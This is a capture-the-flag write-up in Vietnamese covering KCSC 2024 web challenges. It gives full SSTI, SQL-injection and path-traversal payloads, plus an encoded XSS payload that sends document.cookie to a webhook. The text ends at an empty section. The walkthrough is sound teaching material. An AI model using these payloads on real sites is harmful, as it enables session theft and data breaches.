---
# System prepended metadata

title: WRITEUP KCSC RECRUITMENT MB 2024-WEB EXPLOITATION

---

# WRITEUP KCSC RECRUITMENT MB 2024-WEB EXPLOITATION 

## I. Now you see me
![image](https://hackmd.io/_uploads/Hy4i4IcaC.png)

* Chall cho ta nhập `Input` là tên của user vào bên trong và sau đó redirect đến trang `/register`. Sau đó view source thì ta thấy được dòng comment như sau 
    ![image](https://hackmd.io/_uploads/SJ5Xr8qp0.png)
* Thử vào `/flag.txt` nhưng kết quả lại là `404` và mình thấy input nhập vào từ msg box nên có khả năng server bị lỗi `SSTI` 

* Ta chèn payload `{{2*2}}` vào `Input` để check thử 

    ![image](https://hackmd.io/_uploads/SyGWLU9p0.png)
* Ok! Server bị lỗi `SSTI`. Tiếp theo ta cần biết được lỗi này liên quan đến Template Engine nào(Jinja2,Twig,...). Cách đơn giản để check là dùng payload `{{7*'7'}}`. 

    ![image](https://hackmd.io/_uploads/S1sgv8qT0.png)
* Ta nhận được kết quả ở comment là `7777777` tức là `Template Engine` của server đang sử dụng là Jinja2. Ta có `Payload Inject` như sau `{{ self.__init__.__globals__.__builtins__.open('/flag.txt').read() }}
`

    ![image](https://hackmd.io/_uploads/B11M3I5a0.png)

> KCSC{flagrandomngaunhienlagicungdu0c}

## II. X ec ec

![image](https://hackmd.io/_uploads/H1uW6I9pC.png)

* Server dùng để render code `HTML` mình thử nhập payload để check cơ bản `<script> alert(1) </script>`

    ![image](https://hackmd.io/_uploads/H1xBpLq60.png)
* Nhận thấy rẳng Server đã filter các chữ như script,....

![image](https://hackmd.io/_uploads/ryfFT8qTC.png)
* View source ta thấy được hàm JS dùng để lọc `Input` của user. Ở hàm filterHTML thì filters lọc là các câu lệnh có chữ `script, on, javascript`. Nhưng như thế là chưa đủ, ta vẫn có thể dùng các thẻ `HTML` và inline là `JS` để đánh lừa filter. 
* Ở đây mình sẽ dùng thẻ img là cách đơn giản và nhanh nhất để trigger ```<image src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:fetch(`Your_WebHook?a=${document.cookie}`)">```

    ![image](https://hackmd.io/_uploads/SJPoDkjT0.png)


> KCSC{XSS_s0_ez_c51242915de4a05d20ac3870c87a9da1}

## III. KCSC x Jujutsu Kaisen 

* Chall cho ta source nên mình sẽ dựng Docker để exploit trước. Dạo qua phần giao diện của server.

    ![image](https://hackmd.io/_uploads/HyqH9yia0.png)

* Chúng ta sẽ có các thẻ gồm các câu dialouge của các nhân vật, click để đọc một hồi thì mình thấy điều bất thường ở nhân vật `Toge`

    ![image](https://hackmd.io/_uploads/BJpd9yj6R.png)

* Có lẽ như câu dialouge này đã được `encode` và có thể đây là phần của `flag`. 

* Đến phần source code thì ta có thể dễ dàng phát hiện được server ta dễ dàng nhận thấy được Server đã bị dính 3 lỗi là `SQLI`, `Path Traversal` và `XSS`. Do `XSS` không hề có phần tương tác với admin hoặc user nên mình sẽ bỏ qua lỗ hỏng này.

    ![image](https://hackmd.io/_uploads/Sy2vjyoT0.png)

* Server bị dính SQLI do không check phần input là `username` của người dùng nhập vào, mặc dù có dùng `prepare`  nhưng không có tham số ràng buộc `(bind_param)` do đó khiến `$username` có thể inject được 

    ![image](https://hackmd.io/_uploads/rkUDylj60.png)

* Hàm `str_replace` dùng để filter `Path Traversal` nhưng do chỉ replace môi dấu `./` nên ta có thể bypass bằng cách double `./` như này `...//` 

--> Giờ đến phần khai thác SQLI để lấy dữ liệu trong database. Mình có payload `'or 1=1-- -./` để check thử. Lý do có `./` ở đây chính là để không bị bypass SQLI. Do server đã được cấu hình để chặn các ký tự ``./`` như một cách phòng chống `Path Traversal`. Tuy nhiên, nếu thêm `./` vào cuối payload SQLI và sau đó nó bị xóa bởi `str_replace()`, chuỗi sau khi thay thế vẫn hợp lệ để SQL Injection hoạt động, vì `str_replace()`` chỉ thao tác trên đường dẫn file và không ảnh hưởng đến câu lệnh SQL.

![image](https://hackmd.io/_uploads/H1DYGes60.png)

* Với payload trên server đã bị SQLi và trả ra tất cả bảng trong table ta cần, và phần dialouge khó đọc kia chính là của `Toge`

    ![image](https://hackmd.io/_uploads/Skw6fli6A.png)

* Check file init.sql ta cũng có thể thấy được rằng flag nằm trong cột 2 của `Toge` và bị encode bởi hàm `ENC_REDACTED` và ta cũng có hàm `DECRYPT_REDACTED` để encode và key ở local là `REDACTED`. Ta có payload Inject `'UNION+SELECT+DECRYPT_RADACTED(dialogue,'REDACTED')+FROM+users+WHERE+username='toge'--+-./` 

    ![image](https://hackmd.io/_uploads/HkkZSgspR.png)
* Done, payload đã đúng, việc cần làm bây giờ là làm sao để có thể lấy được tên hàm decrypt và `key` 

* Ở đây mình sẽ tìm tên hàm trước bằng payload ở server `UNION SELECT 1, GROUP_CONCAT(ROUTINE_NAME) FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='FUNCTION'-- -
`. Payload này sẽ tìm tất cả các hàm có sẵn trong database 

    ![image](https://hackmd.io/_uploads/H164KgiTA.png)
* Ta đã thấy được tên hai hàm `ENC` và `DECRYPT`. Tiếp đến chỉ cần tìm được `KEY`.

* Ở đây mình sẽ tận dụng lỗ hỏng Path Traversal trước đó để có thể đi đến file index.php và đọc được `Key`

* Như ta đã biết server sẽ filter `./` nên ta có payload để đọc index.php là `...//index.php` do ta đang ở folder images theo cấp phân mục ở source do đó ta phải lùi 1 cấp để đọc được index.php

    ![image](https://hackmd.io/_uploads/BJQO9lipR.png)

* ![image](https://hackmd.io/_uploads/SyZ5ceia0.png)
 Ta được một lượng thông tin được enc `Base64` decrypt bằng `Cyberchef` thì lấy được `Key`
 
    ![image](https://hackmd.io/_uploads/Skonqgi6C.png)

-> Tiến hành Get Flag ở server với payload như cũ và thay Key+ Tên hàm Decrypt vào ta có `'UNION SELECT DECRYPT_DIALOGUE_xckQopBS4HrTe8b9(dialogue,'$up3r_$3cr3t_4_$3cur3') FROM users WHERE username='toge'-- -`

![image](https://hackmd.io/_uploads/rkejhgja0.png)

> KCSC{https://www.youtube.com/watch?v=bX2dMtKEtdU#_p4km3QbeGVPZjrNoviGDQBSYdzeG1VCb}

## IV. Easy Upload

* 